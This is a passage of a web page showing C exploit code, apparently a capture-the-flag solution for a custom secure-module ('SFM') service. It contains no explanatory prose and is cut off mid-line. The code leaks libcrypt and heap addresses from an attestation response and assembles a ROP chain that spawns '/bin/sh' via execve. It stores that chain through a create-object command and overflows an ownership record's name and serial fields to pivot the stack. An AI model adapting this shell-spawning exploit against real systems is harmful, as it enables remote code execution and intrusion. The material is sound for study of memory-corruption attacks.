class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stddef.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/socket.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> __NR_write 1</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> __NR_read 0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> __NR_recvmsg 47</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> __NR_exit</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> _reservered;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> command_code;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> pad_;</span><br><span class="line">&#125; SfmCommand;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line">    SfmCommand cmd;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> bank_index;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> pad_;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> data[<span class="number">1024</span>];</span><br><span class="line">&#125; SfmIntegrityBankUpdate;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line">    SfmCommand cmd;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> flags;</span><br><span class="line">&#125; SfmEstablishSecureIo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line">    SfmCommand cmd;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> alg_id;</span><br><span class="line">&#125; SfmAttestQuote;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">short</span> policy_type;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> data[<span class="number">64</span>];</span><br><span class="line">&#125; SfmAuthorizationPolicy;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> size;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> data[<span class="number">1024</span>];</span><br><span class="line">&#125; NvStorageRaw;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line">    SfmCommand cmd;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">short</span> object_type;</span><br><span class="line">    SfmAuthorizationPolicy policy;</span><br><span class="line">    NvStorageRaw nv;</span><br><span class="line">&#125; SfmCreateObject;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> country_code[<span class="number">2</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> _padding[<span class="number">2</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> owner_name[<span class="number">64</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> device_name[<span class="number">16</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> serial_number[<span class="number">8</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> creation_date;</span><br><span class="line">&#125; OwnershipRecordRaw;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line">    SfmCommand cmd;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> object_index;</span><br><span class="line">    OwnershipRecordRaw record;</span><br><span class="line">&#125; SfmModifyObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">__attribute__</span>((__packed__)) &#123;</span><br><span class="line">    SfmCommand cmd;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> object_index;</span><br><span class="line">&#125; SfmCertifyObject;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">decompress_and_update</span><span class="params">()</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">integrity_bank_update</span><span class="params">(<span class="type">int</span> fd, <span class="type">int</span> idx, <span class="type">unsigned</span> <span class="type">char</span>* buf, <span class="type">int</span> size)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">establish_secure_io</span><span class="params">(<span class="type">int</span> fd, <span class="type">unsigned</span> <span class="type">short</span> flags, <span class="type">int</span> fds[])</span></span>;</span><br><span class="line"><span class="comment">// unsigned long _get_pc();</span></span><br><span class="line"><span class="comment">// const char message[] = &quot;Hello, World!\n&quot;;</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> blob[];</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">ssize_t</span> <span class="title">my_recvmsg</span><span class="params">(<span class="type">int</span> sockfd, <span class="keyword">struct</span> msghdr* msg, <span class="type">int</span> flags)</span></span>;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">my_write</span><span class="params">(<span class="type">int</span> fd, <span class="type">void</span>* message, <span class="type">int</span> length)</span></span>;</span><br><span class="line"><span class="function"><span class="type">ssize_t</span> <span class="title">my_read</span><span class="params">(<span class="type">int</span> fd, <span class="type">void</span>* buffer, <span class="type">size_t</span> count)</span> </span>;</span><br><span class="line"><span class="comment">// first send &quot;SFMI&quot;</span></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">handshake</span><span class="params">(<span class="type">int</span> fd)</span></span>;</span><br><span class="line"><span class="function"><span class="type">unsigned</span> <span class="type">long</span></span></span><br><span class="line"><span class="function"><span class="title">lz4_depack</span><span class="params">(<span class="type">const</span> <span class="type">void</span> *src, <span class="type">void</span> *dst, <span class="type">unsigned</span> <span class="type">long</span> packed_size)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> my_memcpy(dst_, src_, n) \</span></span><br><span class="line"><span class="meta">do &#123;\</span></span><br><span class="line"><span class="meta">    size_t _n = (n);\</span></span><br><span class="line"><span class="meta">    unsigned char* dst = (unsigned char*)dst_;\</span></span><br><span class="line"><span class="meta">    unsigned char* src = (unsigned char*)src_;\</span></span><br><span class="line"><span class="meta">    while (_n-- &gt; 0) &#123; *dst++ = *src++; &#125;\</span></span><br><span class="line"><span class="meta">&#125; while (0)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> my_memset(dst_, x, n) \</span></span><br><span class="line"><span class="meta">do &#123;\</span></span><br><span class="line"><span class="meta">    size_t _n = (n);\</span></span><br><span class="line"><span class="meta">    unsigned char* dst = (unsigned char*)dst_;\</span></span><br><span class="line"><span class="meta">    while (_n-- &gt; 0) &#123; *dst++ = (unsigned char)(x); &#125;\</span></span><br><span class="line"><span class="meta">&#125; while (0)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> _start(<span class="type">void</span>) &#123;  </span><br><span class="line">    <span class="type">int</span> fd = <span class="number">3</span>;</span><br><span class="line">    <span class="type">int</span> status = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> cookie = <span class="number">0</span>;</span><br><span class="line">status = <span class="built_in">my_read</span>(fd, &amp;cookie, <span class="built_in">sizeof</span>(cookie));</span><br><span class="line"><span class="built_in">my_write</span>(fd, (<span class="type">char</span> *)&amp;cookie, <span class="built_in">sizeof</span>(cookie));</span><br><span class="line">    <span class="comment">// my_write(1, (char *)&amp;cookie, sizeof(cookie));</span></span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> *input = (<span class="type">unsigned</span> <span class="type">int</span>*)blob;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> packed_sz = input[<span class="number">1</span>];</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> *compressed_ptr = &amp;input[<span class="number">2</span>];</span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> dec_bin[<span class="number">0x3000</span>];</span><br><span class="line">    <span class="built_in">my_memset</span>(dec_bin, <span class="string">&#x27;\x00&#x27;</span>, <span class="built_in">sizeof</span>(dec_bin));</span><br><span class="line">    <span class="type">int</span> out_size = <span class="number">0</span>;</span><br><span class="line">        <span class="comment">// int out_size = lz4_depack(compressed_ptr, dec_bin, packed_sz);</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span> *in = (<span class="type">unsigned</span> <span class="type">char</span> *) compressed_ptr;</span><br><span class="line">        <span class="type">unsigned</span> <span class="type">char</span> *out = (<span class="type">unsigned</span> <span class="type">char</span> *) dec_bin;</span><br><span class="line">        <span class="type">unsigned</span> <span class="type">long</span> dst_size = <span class="number">0</span>;</span><br><span class="line">        <span class="type">unsigned</span> <span class="type">long</span> cur = <span class="number">0</span>;</span><br><span class="line">        <span class="type">unsigned</span> <span class="type">long</span> prev_match_start = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (in[<span class="number">0</span>] == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* Main decompression loop */</span></span><br><span class="line">        <span class="keyword">while</span> (cur &lt; packed_sz) &#123;</span><br><span class="line">            <span class="type">unsigned</span> <span class="type">long</span> token = in[cur++];</span><br><span class="line">            <span class="type">unsigned</span> <span class="type">long</span> lit_len = token &gt;&gt; <span class="number">4</span>;</span><br><span class="line">            <span class="type">unsigned</span> <span class="type">long</span> len = (token &amp; <span class="number">0x0F</span>) + <span class="number">4</span>;</span><br><span class="line">            <span class="type">unsigned</span> <span class="type">long</span> offs;</span><br><span class="line">            <span class="type">unsigned</span> <span class="type">long</span> i;</span><br><span class="line"></span><br><span class="line">            <span class="comment">/* Read extra literal length bytes */</span></span><br><span class="line">            <span class="keyword">if</span> (lit_len == <span class="number">15</span>) &#123;</span><br><span class="line">                <span class="keyword">while</span> (in[cur] == <span class="number">255</span>) &#123;</span><br><span class="line">                    lit_len += <span class="number">255</span>;</span><br><span class="line">                    ++cur;</span><br><span class="line">                &#125;</span><br><span class="line">                lit_len += in[cur++];</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">/* Copy literals */</span></span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; lit_len; ++i) &#123;</span><br><span class="line">                out[dst_size++] = in[cur++];</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">/* Check for last incomplete sequence */</span></span><br><span class="line">            <span class="keyword">if</span> (cur == packed_sz) &#123;</span><br><span class="line">                <span class="comment">/* Check parsing restrictions */</span></span><br><span class="line">                <span class="keyword">if</span> (dst_size &gt;= <span class="number">5</span> &amp;&amp; lit_len &lt; <span class="number">5</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> (dst_size &gt; <span class="number">12</span> &amp;&amp; dst_size - prev_match_start &lt; <span class="number">12</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">/* Read offset */</span></span><br><span class="line">            offs = (<span class="type">unsigned</span> <span class="type">long</span>) in[cur] | ((<span class="type">unsigned</span> <span class="type">long</span>) in[cur + <span class="number">1</span>] &lt;&lt; <span class="number">8</span>);</span><br><span class="line">            cur += <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line">            <span class="comment">/* Read extra length bytes */</span></span><br><span class="line">            <span class="keyword">if</span> (len == <span class="number">19</span>) &#123;</span><br><span class="line">                <span class="keyword">while</span> (in[cur] == <span class="number">255</span>) &#123;</span><br><span class="line">                    len += <span class="number">255</span>;</span><br><span class="line">                    ++cur;</span><br><span class="line">                &#125;</span><br><span class="line">                len += in[cur++];</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            prev_match_start = dst_size;</span><br><span class="line"></span><br><span class="line">            <span class="comment">/* Copy match */</span></span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; len; ++i) &#123;</span><br><span class="line">                out[dst_size] = out[dst_size - offs];</span><br><span class="line">                ++dst_size;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        out_size = dst_size;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; out_size; i += <span class="number">1024</span>) &#123;</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="type">int</span> fd = <span class="number">3</span>;</span><br><span class="line">            <span class="type">unsigned</span> <span class="type">char</span>* buf = dec_bin + i;</span><br><span class="line">            <span class="type">int</span> size = <span class="number">1024</span>;</span><br><span class="line">            SfmIntegrityBankUpdate bank_update;</span><br><span class="line">            <span class="built_in">my_memset</span>(&amp;bank_update, <span class="number">0</span>, <span class="built_in">sizeof</span>(SfmIntegrityBankUpdate));</span><br><span class="line">            bank_update.cmd.command_code = <span class="number">1</span>;</span><br><span class="line">            bank_update.bank_index = <span class="number">1</span>;</span><br><span class="line">            <span class="built_in">my_memcpy</span>(bank_update.data, buf, size);</span><br><span class="line">            <span class="type">char</span>* ptr = (<span class="type">char</span>*)&amp;bank_update;</span><br><span class="line">            <span class="type">int</span> ret_size = <span class="number">0</span>;</span><br><span class="line">            <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(<span class="string">&quot;syscall&quot;</span></span></span></span><br><span class="line"><span class="params"><span class="function">                : <span class="string">&quot;=a&quot;</span> (ret_size)</span></span></span><br><span class="line"><span class="params"><span class="function">                : <span class="string">&quot;a&quot;</span>(__NR_write), <span class="string">&quot;D&quot;</span>(fd), <span class="string">&quot;S&quot;</span>(ptr), <span class="string">&quot;d&quot;</span>(<span class="keyword">sizeof</span>(SfmIntegrityBankUpdate))</span></span></span><br><span class="line"><span class="params"><span class="function">                : <span class="string">&quot;memory&quot;</span>, <span class="string">&quot;cc&quot;</span>, <span class="string">&quot;r11&quot;</span>, <span class="string">&quot;cx&quot;</span></span></span></span><br><span class="line"><span class="params"><span class="function">            )</span></span>;</span><br><span class="line">            <span class="comment">// my_write(fd, ptr, size);</span></span><br><span class="line">            <span class="type">int</span> ret_data = <span class="number">0</span>;</span><br><span class="line">            <span class="type">int</span> ret_value = <span class="number">0</span>;</span><br><span class="line">            <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(<span class="string">&quot;syscall&quot;</span></span></span></span><br><span class="line"><span class="params"><span class="function">                : <span class="string">&quot;=a&quot;</span>(ret_value)</span></span></span><br><span class="line"><span class="params"><span class="function">                : <span class="string">&quot;a&quot;</span>(__NR_read), <span class="string">&quot;D&quot;</span>(fd), <span class="string">&quot;S&quot;</span>(&amp;ret_data), <span class="string">&quot;d&quot;</span>(<span class="number">4</span>)</span></span></span><br><span class="line"><span class="params"><span class="function">                : <span class="string">&quot;rcx&quot;</span>, <span class="string">&quot;r11&quot;</span>, <span class="string">&quot;memory&quot;</span></span></span></span><br><span class="line"><span class="params"><span class="function">            )</span></span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">SfmAttestQuote attest;</span><br><span class="line">    <span class="built_in">my_memset</span>((<span class="type">unsigned</span> <span class="type">char</span>*)&amp;attest, <span class="number">0</span>, <span class="built_in">sizeof</span>(SfmAttestQuote));</span><br><span class="line">    attest.cmd.command_code = <span class="number">7</span>;</span><br><span class="line">    attest.alg_id = <span class="number">4</span>;</span><br><span class="line">    <span class="built_in">my_write</span>(fd, &amp;attest, <span class="built_in">sizeof</span>(attest));</span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> libcrypt = <span class="number">0</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> leak_heap = <span class="number">0</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> data[<span class="number">1024</span>];</span><br><span class="line">    status = <span class="built_in">my_read</span>(fd, data, <span class="number">512</span>);</span><br><span class="line">    <span class="comment">// data = client_fd.recv(512)</span></span><br><span class="line">    <span class="comment">// print(hexdump(data))</span></span><br><span class="line">    libcrypt = *(<span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> *)&amp;data[<span class="number">0x58</span>];</span><br><span class="line">    libcrypt -= <span class="number">0x347990</span>;</span><br><span class="line">    <span class="comment">// print(hex(libcrypt))</span></span><br><span class="line">    leak_heap = *(<span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> *)&amp;data[<span class="number">0x90</span>];</span><br><span class="line">    <span class="comment">// print(hex(leak_heap))</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> exp_rop_addr = leak_heap - <span class="number">0x11620</span> + <span class="number">0x18610</span>;</span><br><span class="line">    <span class="comment">// print(hex(exp_rop_addr))</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// my_write(std_out, &quot;leak libcrypt address&quot;,)</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> pop_rsp_ret = libcrypt + <span class="number">0xb726c</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> pop_rax_ret = libcrypt + <span class="number">0xd46c7</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> pop_rcx_ret = libcrypt + <span class="number">0x1bb813</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> mov_rcx_rax_ret = libcrypt + <span class="number">0x114c45</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> pop_rdi_ret = libcrypt + <span class="number">0xb71db</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> pop_rsi_ret = libcrypt + <span class="number">0xba534</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> pop_rdx_ret = libcrypt + <span class="number">0x2b89d3</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> syscall = libcrypt + <span class="number">0x11ce96</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> data_segment = libcrypt + <span class="number">0x43D000</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> data_8_segment = libcrypt + <span class="number">0x43D008</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> exp_rop[<span class="number">400</span>];</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">400</span>; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        exp_rop[i] = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span>*exp_long_ptr = (<span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> *)exp_rop;</span><br><span class="line">    </span><br><span class="line">    exp_long_ptr[<span class="number">0</span>] = pop_rax_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">1</span>] = <span class="number">0x68732f6e69622f2f</span>;</span><br><span class="line">    exp_long_ptr[<span class="number">2</span>] = pop_rcx_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">3</span>] = data_segment;</span><br><span class="line">    exp_long_ptr[<span class="number">4</span>] = mov_rcx_rax_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">5</span>] = pop_rax_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">6</span>] = <span class="number">0</span>;</span><br><span class="line">    exp_long_ptr[<span class="number">7</span>] = pop_rcx_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">8</span>] = data_8_segment;</span><br><span class="line">    exp_long_ptr[<span class="number">9</span>] = mov_rcx_rax_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">10</span>] = pop_rdi_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">11</span>] = data_segment;</span><br><span class="line">    exp_long_ptr[<span class="number">12</span>] = pop_rsi_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">13</span>] = data_8_segment;</span><br><span class="line">    exp_long_ptr[<span class="number">14</span>] = pop_rdx_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">15</span>] = data_8_segment;</span><br><span class="line">    exp_long_ptr[<span class="number">16</span>] = pop_rax_ret;</span><br><span class="line">    exp_long_ptr[<span class="number">17</span>] = <span class="number">0x3b</span>;</span><br><span class="line">    exp_long_ptr[<span class="number">18</span>] = syscall;</span><br><span class="line"></span><br><span class="line">    SfmCreateObject create_object;</span><br><span class="line">    <span class="built_in">my_memset</span>(&amp;create_object, <span class="number">0</span>, <span class="built_in">sizeof</span>(SfmCreateObject));</span><br><span class="line">    create_object.cmd.command_code = <span class="number">2</span>;</span><br><span class="line">    create_object.object_type = <span class="number">3</span>;</span><br><span class="line">    create_object.policy.policy_type = <span class="number">0</span>;</span><br><span class="line">    create_object.nv.size = <span class="number">1024</span>;</span><br><span class="line">    <span class="built_in">my_memcpy</span>((<span class="type">unsigned</span> <span class="type">char</span>*)&amp;create_object.nv.data, (<span class="type">unsigned</span> <span class="type">char</span>*)&amp;exp_rop, <span class="built_in">sizeof</span>(exp_rop));</span><br><span class="line">    <span class="built_in">my_write</span>(fd, &amp;create_object, <span class="built_in">sizeof</span>(SfmCreateObject));</span><br><span class="line">    status = <span class="built_in">my_read</span>(fd, &amp;status, <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">    SfmModifyObject modify_object = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">    <span class="built_in">my_memset</span>((<span class="type">unsigned</span> <span class="type">char</span>*)&amp;modify_object, <span class="number">0</span>, <span class="built_in">sizeof</span>(SfmModifyObject));</span><br><span class="line">    modify_object.cmd.command_code = <span class="number">3</span>;</span><br><span class="line">    modify_object.object_index =  <span class="number">0</span>;</span><br><span class="line">    modify_object.record.country_code[<span class="number">0</span>] = <span class="string">&#x27;A&#x27;</span>;</span><br><span class="line">    modify_object.record.country_code[<span class="number">1</span>] = <span class="string">&#x27;A&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">51</span>; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        modify_object.record.owner_name[i] = <span class="string">&#x27;\xff&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    modify_object.record.owner_name[<span class="number">51</span>] = <span class="string">&#x27;B&#x27;</span>;</span><br><span class="line">    <span class="comment">// owner_name = b&#x27;\xff&#x27;*51+b&#x27;B&#x27;*1 + b&#x27;\x00&#x27;*12</span></span><br><span class="line">    <span class="built_in">my_memcpy</span>(modify_object.record.device_name, &amp;pop_rsp_ret, <span class="number">8</span>);</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">8</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        modify_object.record.device_name[i] = <span class="string">&#x27;H&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">my_memcpy</span>(modify_object.record.serial_number, &amp;exp_rop_addr, <span class="number">8</span>);</span><br><span class="line">    <span 